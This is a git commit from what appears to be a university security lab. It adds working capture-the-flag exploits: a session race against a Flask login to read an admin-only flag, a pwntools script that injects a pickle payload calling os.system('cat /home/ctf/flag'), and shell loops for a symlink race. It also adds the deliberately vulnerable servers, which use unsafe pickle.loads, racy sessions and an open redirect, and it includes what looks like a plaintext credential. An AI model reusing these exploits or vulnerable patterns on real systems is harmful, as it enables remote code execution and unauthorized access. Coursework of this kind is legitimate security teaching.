This commit is contained in:
2025-11-27 19:11:06 +00:00
parent d2382a36dc
commit 063094f2a2
7 changed files with 400 additions and 3 deletions

24
pa/lab3/chall_jackpot.py Normal file
View File

@@ -0,0 +1,24 @@
from grequests import Session
from sys import argv
from os import fork
BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25652"
sesh = Session()
sesh.get(BASE+"/login")
pid = fork()
if pid == 0:
sesh.post(BASE+"/login", data={"username": "didas", "password": "didas"})
while True:
resp = sesh.get(BASE+"/jackpot")
if b"SSof{" in resp.content:
print(resp.content)
exit(0)
else:
i = 0
while True:
sesh.post(BASE+"/login", data={"username": "admin", "password": "Perry the playpus"})
print(i)
i += 1

View File

@@ -1,9 +1,37 @@
from pwn import *
from os import fork, kill
HOST = "mustard.stt.rnl.tecnico.ulisboa.pt"
PORT = 25653
conn = remote(HOST, PORT)
line = conn.interactive()
PAYLOAD = "cat /home/ctf/flag"
SSof_148:BHdrm8TgNq
pid = fork()
if pid != 0:
while True:
conn = remote(HOST, PORT)
conn.sendlineafter(b":", b"didas")
conn.sendlineafter(b">>>", b"1")
conn.sendlineafter(b">>>", b"1")
conn.sendlineafter(b":", b"bomb")
conn.recvuntil(b":")
conn.sendline(b"cos")
conn.sendline(b"system")
conn.sendline(("(S'"+PAYLOAD+"'").encode('utf-8'))
conn.sendline(b"tR.")
conn.sendline(b"\n\n\n")
conn.close()
else:
while True:
conn = remote(HOST, PORT)
conn.sendlineafter(b":", b"didas")
conn.sendlineafter(b">>>", b"0")
conn.sendlineafter(b">>>", b"0")
conn.sendlineafter(b":", b"bomb")
res = conn.recvline().decode('utf-8')
if "[ERROR]" not in res:
print(res)
kill(pid, 9)
break

212
pa/lab3/server.py Normal file
View File

@@ -0,0 +1,212 @@
from flask import Flask, request, redirect, url_for, make_response, render_template
from flask_sqlalchemy import SQLAlchemy
from functools import wraps
from os.path import isfile
from os import environ, urandom
from sys import argv
import hashlib
# Setup app
app = Flask(__name__)
COOKIE_TOKEN = "JTOKEN"
# Setup db
db_path = "/tmp/flask_server.db"
app.config["SQLALCHEMY_DATABASE_URI"] = 'sqlite:///%s' % (db_path)
app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
db = SQLAlchemy(app)
# Read the flag
FLAG = environ['flag']
def error(msg):
return render_template('error_response.html', msg=msg)
# ================
# === SESSIONS ===
# ================
class Session(db.Model):
"""
Associates a session token with its respective user
"""
id = db.Column(db.Integer, primary_key=True)
# @FIXME: Should be a Foreign Key, but oh well
jtoken = db.Column(db.Text(), unique=True)
username = db.Column(db.Text())
def __init__(self, username=None):
self.jtoken = urandom(64).hex()
self.username = username
def __repr__(self):
return '<Session %s>' % (self.jtoken)
def get_current_session(jtoken=None):
if not jtoken:
jtoken = request.cookies.get(COOKIE_TOKEN)
if not jtoken:
print("[WARNING] This should never happen")
return None
return Session.query.filter_by(jtoken=jtoken).first()
@app.context_processor
def templates_utility():
return dict(get_current_session=get_current_session)
# Runs before every request
@app.before_request
def setup_session():
def add_session_and_redirect():
new_session = Session()
db.session.add(new_session)
db.session.commit()
response = make_response(redirect(request.path))
response.set_cookie(COOKIE_TOKEN, new_session.jtoken)
return response
if COOKIE_TOKEN not in request.cookies:
return add_session_and_redirect()
current_session = get_current_session()
if current_session is None:
return add_session_and_redirect()
def login_required(func):
@wraps(func)
def decorated_function(*args, **kwargs):
current_session = get_current_session()
if not current_session or current_session.username is None:
return redirect(url_for('login'))
else:
return func(*args, **kwargs)
return decorated_function
# =============
# === Users ===
# =============
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.Text(), unique=True)
password = db.Column(db.Text())
def __init__(self, username, password):
self.username = username
self.password = self.hash_pwd(password)
def __repr__(self):
return '<User %s>' % (self.username)
@staticmethod
def hash_pwd(pwd):
return hashlib.sha512(pwd.encode()).hexdigest()
# =============
# === VIEWS ===
# =============
@app.route('/')
def home():
return render_template('home.html')
@app.route('/jackpot', methods=['GET'])
@login_required
def jackpot():
current_session = get_current_session()
if current_session.username == 'admin':
msg = FLAG
else:
msg = "No luck... Maybe next time!"
return render_template('jackpot.html', msg=msg)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template('register.html')
username = request.form['username']
password = request.form['password']
if not username or not password:
return error("You need to provide the 'username' and 'password' to register.")
user = User.query.filter_by(username=username).first()
if user or 'admin' in username:
return error("User '%s' already exists." % user.username)
user = User(username, password)
db.session.add(user)
db.session.commit()
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
username = request.form['username']
password = request.form['password']
if not username or not password:
return error("You need to provide a 'username' and 'password' to login.")
# Setup the session with the current user
current_session = get_current_session()
current_session.username = username
db.session.commit()
registered_user = User.query.filter_by(
username=username, password=User.hash_pwd(password)).first()
if not registered_user:
# flash('Username or Password are invalid', 'error')
# Login failed
current_session.username = None
db.session.commit()
return redirect(url_for('login'))
# @FIXME: open redirect
return redirect(request.args.get('next') or url_for('home'))
@app.route('/logout')
def logout():
current_session = get_current_session()
# Remove the user from the session
current_session.username = None
db.session.commit()
return redirect(url_for('login'))
# ========================
# ========================
# ========================
def main(host):
if not isfile(db_path):
db.create_all()
app.config["DEBUG"] = (host == "127.0.0.1")
app.run(threaded=True, host=host, port=6660)
if __name__ == '__main__':
if len(argv) >= 2:
host = argv[1]
else:
host = "127.0.0.1"
main(host)

121
pa/lab3/server3.py Normal file
View File

@@ -0,0 +1,121 @@
#!/usr/bin/env python
import hashlib
import os
import shutil
import pickle
# ===================================================
class Note(object):
def __init__(self, name, content):
self.name = name
self.content = content
def __str__(self):
return "Note '%s': %s" % (self.name, self.content)
def sha256(s):
return hashlib.sha256(s.encode('utf-8')).hexdigest()
CLASSY_MODE = 'CLASSY'
FREE_MODE = 'FREE'
def check_mode(mode):
try:
with open(directory + '/mode', 'r') as f:
return f.read() == mode
except:
return False
def set_mode(mode):
with open(directory + '/mode', 'w') as f:
f.write(mode)
def reset(mode):
shutil.rmtree(directory)
os.makedirs(directory)
set_mode(mode)
# ===================================================
# Print banner
notes_storage = " _______ ________ ______________________ _________ ____________________________ __________ _____ ________ ___________\n \ \ \_____ \ \__ ___/\_ _____/ / _____/ / _____/\__ ___/\_____ \ \______ \ / _ \ / _____/ \_ _____/\n / | \ / | \ | | | __)_ \_____ \ \_____ \ | | / | \ | _/ / /_\ \ / \ ___ | __)_ \n/ | \/ | \ | | | \ / \ / \ | | / | \ | | \/ | \\ \_\ \ | \\\n\____|__ /\_______ / |____| /_______ //_______ / ______/_______ / |____| \_______ / |____|_ /\____|__ / \______ //_______ /\n \/ \/ \/ \/ /_____/ \/ \/ \/ \/ \/ \/ "
print ("1. Ever lost your class notes??")
print ("2. Ever wanted to store notes but had no place to and then forgot everything and failed the exam???")
print ("3. Are you tired of having to carry your notebooks????")
print ("")
print ("If you answered YES, this is the service for you!!")
print (notes_storage)
print ("\n")
# Read username and setup directory
username = input('Username: ')
directory = "/tmp/notes/%s" % sha256(username)
if not os.path.exists(directory):
os.makedirs(directory)
# Read user choices
type_choice = ""
while type_choice not in ('0', '1'):
print("Which note type do you want:")
print("0: Classy note")
print("1: Free Note")
type_choice = input('>>> ')
def read_or_write_option():
action_choice = ""
while action_choice not in ('0', '1'):
print("0: Read note")
print("1: Write Note")
action_choice = input('>>> ')
note_name = input('note_name: ')
note_path = "%s/%s" % (directory, sha256(note_name))
if action_choice == '0':
if not os.path.isfile(note_path):
print("[ERROR] Can't read a file that does not exist")
exit(-1)
else:
with open(note_path, 'rb') as f:
note_content = f.read()
elif action_choice == '1':
note_content = ""
line = input("note_content: ")
while line:
note_content += line + '\n'
line = input()
return action_choice, note_path, note_name, note_content
# Main functionality
if type_choice == '0': # Classy note
if not check_mode(CLASSY_MODE):
reset(CLASSY_MODE)
action_choice, note_path, note_name, note_content = read_or_write_option()
if action_choice == '0': # read
note = pickle.loads(note_content)
print(note)
elif action_choice == '1': # write
note = Note(note_name, note_content)
with open(note_path, 'wb') as f:
pickle.dump(note, f)
else:
print("YT0!?")
elif type_choice == '1': # Free note
if not check_mode(FREE_MODE):
reset(FREE_MODE)
action_choice, note_path, _, note_content = read_or_write_option()
if action_choice == '0': # read
print(note_content)
elif action_choice == '1': # write
with open(note_path, 'wb') as f:
f.write(note_content.encode('utf8','surrogateescape'))
else:
print("HuM!?")
else:
print("WHaT!?")

5
pa/lab3/spam_flag.sh Normal file
View File

@@ -0,0 +1,5 @@
#!/bin/sh
while [ 1 -eq 1 ]; do
/challenge/challenge < input
done

6
pa/lab3/spam_ln.sh Normal file
View File

@@ -0,0 +1,6 @@
#!/bin/sh
while [ 1 -eq 1 ]; do
ln -s ./input ./link
ln -s /challenge/flag ./link
done